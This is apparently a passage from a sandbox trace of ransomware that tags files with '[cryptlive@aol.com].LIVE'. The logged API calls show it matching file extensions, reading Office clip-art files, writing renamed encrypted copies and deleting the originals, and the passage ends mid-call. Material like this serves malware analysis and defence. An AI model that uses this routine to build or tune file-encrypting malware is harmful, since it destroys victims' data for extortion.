[0146.907] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF") returned 63 [0146.907] lstrlenW (lpString=".jpg") returned 4 [0146.907] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.907] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0146.907] lstrlenW (lpString="HM00114_.WMF") returned 12 [0146.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0147.199] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=22116) returned 1 [0147.199] CloseHandle (hObject=0x36c) returned 1 [0147.199] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf")) returned 0x20 [0147.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0147.308] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.308] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0147.411] GetLastError () returned 0x0 [0147.411] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x5664, lpOverlapped=0x0) returned 1 [0147.424] WriteFile (in: hFile=0x3d4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x5670, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x5670, lpOverlapped=0x0) returned 1 [0147.426] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.426] WriteFile (in: hFile=0x3d4, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.426] SetEndOfFile (hFile=0x3d4) returned 1 [0147.426] CloseHandle (hObject=0x3d4) returned 1 [0147.426] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.426] SetEndOfFile (hFile=0x384) returned 1 [0147.428] CloseHandle (hObject=0x384) returned 1 [0147.428] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.493] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf")) returned 1 [0147.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0147.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0147.494] lstrlenW (lpString=".doc") returned 4 [0147.494] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.494] lstrlenW (lpString=".docx") returned 5 [0147.494] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.494] lstrlenW (lpString=".pdf") returned 4 [0147.494] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.494] lstrlenW (lpString=".xls") returned 4 [0147.494] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.495] lstrlenW (lpString=".xlsx") returned 5 [0147.495] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.495] lstrlenW (lpString=".ppt") returned 4 [0147.495] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0147.495] lstrlenW (lpString=".zip") returned 4 [0147.495] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.495] lstrlenW (lpString=".rar") returned 4 [0147.495] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.495] lstrlenW (lpString=".bz2") returned 4 [0147.495] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.495] lstrlenW (lpString=".7z") returned 3 [0147.495] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0147.495] lstrlenW (lpString=".dbf") returned 4 [0147.495] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0147.495] lstrlenW (lpString=".1cd") returned 4 [0147.495] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0147.495] lstrlenW (lpString=".jpg") returned 4 [0147.495] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0147.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0147.495] lstrlenW (lpString=".doc") returned 4 [0147.495] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.495] lstrlenW (lpString=".docx") returned 5 [0147.495] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.495] lstrlenW (lpString=".pdf") returned 4 [0147.495] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.495] lstrlenW (lpString=".xls") returned 4 [0147.495] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.495] lstrlenW (lpString=".xlsx") returned 5 [0147.495] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.495] lstrlenW (lpString=".ppt") returned 4 [0147.495] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0147.496] lstrlenW (lpString=".zip") returned 4 [0147.496] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.496] lstrlenW (lpString=".rar") returned 4 [0147.496] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.496] lstrlenW (lpString=".bz2") returned 4 [0147.496] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.496] lstrlenW (lpString=".7z") returned 3 [0147.496] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0147.496] lstrlenW (lpString=".dbf") returned 4 [0147.496] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0147.496] lstrlenW (lpString=".1cd") returned 4 [0147.496] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0147.496] lstrlenW (lpString=".jpg") returned 4 [0147.496] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.496] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0147.496] lstrlenW (lpString="IN00177_.WMF") returned 12 [0147.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0147.497] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1074) returned 1 [0147.497] CloseHandle (hObject=0x384) returned 1 [0147.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf")) returned 0x20 [0147.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0147.497] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.497] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0147.498] GetLastError () returned 0x0 [0147.498] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x432, lpOverlapped=0x0) returned 1 [0147.540] WriteFile (in: hFile=0x394, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x440, lpOverlapped=0x0) returned 1 [0147.541] ReadFile (in: hFile=0x384, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.541] WriteFile (in: hFile=0x394, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.541] SetEndOfFile (hFile=0x394) returned 1 [0147.541] CloseHandle (hObject=0x394) returned 1 [0147.541] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.541] SetEndOfFile (hFile=0x384) returned 1 [0147.543] CloseHandle (hObject=0x384) returned 1 [0147.544] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.598] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf")) returned 1 [0147.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0147.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0147.599] lstrlenW (lpString=".doc") returned 4 [0147.599] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.599] lstrlenW (lpString=".docx") returned 5 [0147.599] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.599] lstrlenW (lpString=".pdf") returned 4 [0147.599] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.599] lstrlenW (lpString=".xls") returned 4 [0147.599] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.599] lstrlenW (lpString=".xlsx") returned 5 [0147.599] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.599] lstrlenW (lpString=".ppt") returned 4 [0147.599] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0147.599] lstrlenW (lpString=".zip") returned 4 [0147.599] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.599] lstrlenW (lpString=".rar") returned 4 [0147.599] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.599] lstrlenW (lpString=".bz2") returned 4 [0147.599] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.599] lstrlenW (lpString=".7z") returned 3 [0147.599] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0147.600] lstrlenW (lpString=".dbf") returned 4 [0147.600] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0147.600] lstrlenW (lpString=".1cd") returned 4 [0147.600] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0147.600] lstrlenW (lpString=".jpg") returned 4 [0147.600] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0147.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0147.600] lstrlenW (lpString=".doc") returned 4 [0147.600] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.600] lstrlenW (lpString=".docx") returned 5 [0147.600] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.600] lstrlenW (lpString=".pdf") returned 4 [0147.600] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.600] lstrlenW (lpString=".xls") returned 4 [0147.600] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.600] lstrlenW (lpString=".xlsx") returned 5 [0147.600] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.600] lstrlenW (lpString=".ppt") returned 4 [0147.600] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0147.600] lstrlenW (lpString=".zip") returned 4 [0147.600] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.600] lstrlenW (lpString=".rar") returned 4 [0147.600] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.600] lstrlenW (lpString=".bz2") returned 4 [0147.600] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.600] lstrlenW (lpString=".7z") returned 3 [0147.600] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0147.600] lstrlenW (lpString=".dbf") returned 4 [0147.600] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0147.600] lstrlenW (lpString=".1cd") returned 4 [0147.601] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0147.601] lstrlenW (lpString=".jpg") returned 4 [0147.601] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.601] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0147.601] lstrlenW (lpString="IN00204_.WMF") returned 12 [0147.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0147.601] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1848) returned 1 [0147.601] CloseHandle (hObject=0x38c) returned 1 [0147.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf")) returned 0x20 [0147.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0147.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0147.602] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.602] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0147.603] GetLastError () returned 0x0 [0147.603] ReadFile (in: hFile=0x38c, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x738, lpOverlapped=0x0) returned 1 [0147.624] WriteFile (in: hFile=0x384, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x740, lpOverlapped=0x0) returned 1 [0147.625] ReadFile (in: hFile=0x38c, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.625] WriteFile (in: hFile=0x384, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.625] SetEndOfFile (hFile=0x384) returned 1 [0147.625] CloseHandle (hObject=0x384) returned 1 [0147.625] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.625] SetEndOfFile (hFile=0x38c) returned 1 [0147.627] CloseHandle (hObject=0x38c) returned 1 [0147.628] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0147.628] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00204_.wmf")) returned 1 [0147.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0147.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0147.628] lstrlenW (lpString=".doc") returned 4 [0147.628] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.628] lstrlenW (lpString=".docx") returned 5 [0147.628] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.629] lstrlenW (lpString=".pdf") returned 4 [0147.629] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.629] lstrlenW (lpString=".xls") returned 4 [0147.629] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.629] lstrlenW (lpString=".xlsx") returned 5 [0147.629] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.629] lstrlenW (lpString=".ppt") returned 4 [0147.629] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0147.629] lstrlenW (lpString=".zip") returned 4 [0147.629] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.629] lstrlenW (lpString=".rar") returned 4 [0147.629] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.629] lstrlenW (lpString=".bz2") returned 4 [0147.629] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.629] lstrlenW (lpString=".7z") returned 3 [0147.629] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0147.629] lstrlenW (lpString=".dbf") returned 4 [0147.629] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0147.629] lstrlenW (lpString=".1cd") returned 4 [0147.629] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0147.629] lstrlenW (lpString=".jpg") returned 4 [0147.629] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0147.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0147.629] lstrlenW (lpString=".doc") returned 4 [0147.629] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.629] lstrlenW (lpString=".docx") returned 5 [0147.629] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.629] lstrlenW (lpString=".pdf") returned 4 [0147.629] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.629] lstrlenW (lpString=".xls") returned 4 [0147.629] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.630] lstrlenW (lpString=".xlsx") returned 5 [0147.630] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0147.630] lstrlenW (lpString=".ppt") returned 4 [0147.630] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0147.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0147.630] lstrlenW (lpString=".zip") returned 4 [0147.630] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0147.630] lstrlenW (lpString=".rar") returned 4 [0147.630] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0147.630] lstrlenW (lpString=".bz2") returned 4 [0147.630] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0147.630] lstrlenW (lpString=".7z") returned 3 [0147.630] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0147.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0147.630] lstrlenW (lpString=".dbf") returned 4 [0147.630] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0147.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0147.630] lstrlenW (lpString=".1cd") returned 4 [0147.630] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0147.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00204_.WMF") returned 63 [0147.630] lstrlenW (lpString=".jpg") returned 4 [0147.630] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0147.630] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0147.630] lstrlenW (lpString="IN00343_.WMF") returned 12 [0147.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00343_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0147.650] GetFileSizeEx (in: hFile=0x1ec, 